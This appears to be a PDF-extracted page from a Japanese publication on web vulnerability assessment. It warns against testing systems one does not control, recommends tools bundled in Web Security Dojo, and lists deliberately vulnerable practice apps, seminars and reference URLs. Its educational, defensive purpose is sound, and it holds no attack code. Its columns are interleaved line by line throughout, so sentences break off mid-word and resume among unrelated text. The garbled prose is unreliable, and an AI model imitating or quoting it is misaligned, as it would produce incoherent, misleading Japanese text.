いる脆弱性項目別の検出パターンは、攻撃者や脆
Shipping」
「Hacme Books」などがある。
弱性診断業者が診断に使うものに比べて、ホンの
一部でしかない。もちろんこの検出パターンだけ
脆弱性を探す心構え
だと発見することができない脆弱性もある。
これまでに解説した脆弱性診断の技術は、決
さまざまな検出パターンを試すことで、発見で
して自分が管理する環境以外で試してはいけな
きる脆弱性が増えたり、脆弱性があると判定す
い。インターネット上のサイトに試すなどはもって
る確率が高くなったりする。つまり、多くの実用
のほかである。また、企業などで実施する場合
的な検出パターンを知り、その脆弱性有無の判定
にはできるかぎり本番環境での診断ではなく、開
基準を知ることで、よりレベルの高い診断を行う
発環境などで行う方がよい。
ことができるようになるわけだ。
「ウェブ健康診断」の検出パターンは比較的安
とはいえ、検出パターンが増えると手動でのテ
全なものを選んでいるが、それでもその検出パ
ストは効率が良くないので、適切に脆弱性診断
ターンにより Web サイトが被害を受けたり、正常
ツールを活用するとよいだろう。Web Security
に動作しなくなってしまうこともあるからだ。他
Dojo にも Paros や Ratproxy といった診断ツー
者のサイトに実施した場合は、不正アクセスに
ルが同梱されているので、まずはこのあたりから
なってしまう可能性もある。
使ってみるとよい。診断ツールのリクエストを追
いかけ、それらのツールが使っている検出パター
ンを知ることも学習に役立つ。
実践セミナー
最後にここで解説した Web アプリケーション
攻略を実践できるセミナーもあるので紹介してお
やられ Web アプリケーション
こう。
Web Security Dojo には基礎編で活用した
WebGoat 以外にもターゲットとなるやられ Web
・トライコーダ「自社で取り組む Web アプリケー
※ 13
アプリケーションが同梱されている。
ション脆弱性診断」
・サイバーディフェンス研究所「実践！ウェブ脆弱
・Damn Vulnerable Web App v1.0.6
・Hacme Casino v1.0
※9
これでもさらに物足りないという方は他のやら
れ Web アプリケーションも試してみよう。
・moth
※ 14
性診断セミナー」
※ 10
※ 11
アルゼンチンのセキュリティ会社 Bonsai が
提供するやられ Web アプリケーションで、
mod_security 経由や PHP-IDS 経由などの環境
※ 9 Damn Vulnerable Web App http://sourceforge.net/
projects/dvwa/
※ 10 http://w w w.foundstone.com/us/resources/prod
desc/hacmecasino.htm
※ 11 moth http://www.bonsai-sec.com/en/research/
moth.php
※ 12 Hacme シリーズ http://www.foundstone.com/us/
resources-free-tools.asp
※ 13 トライコーダ「自社で取り組む Web アプリケーション脆弱
性診断」http://www.tricorder.jp/education02.html
※ 14 サイバーディフェンス研究所「実践！ウェブ脆弱性診断セミ
ナー」
http://www.cyberdefense.jp/service_seminar/seminar09.
html
143

Download Report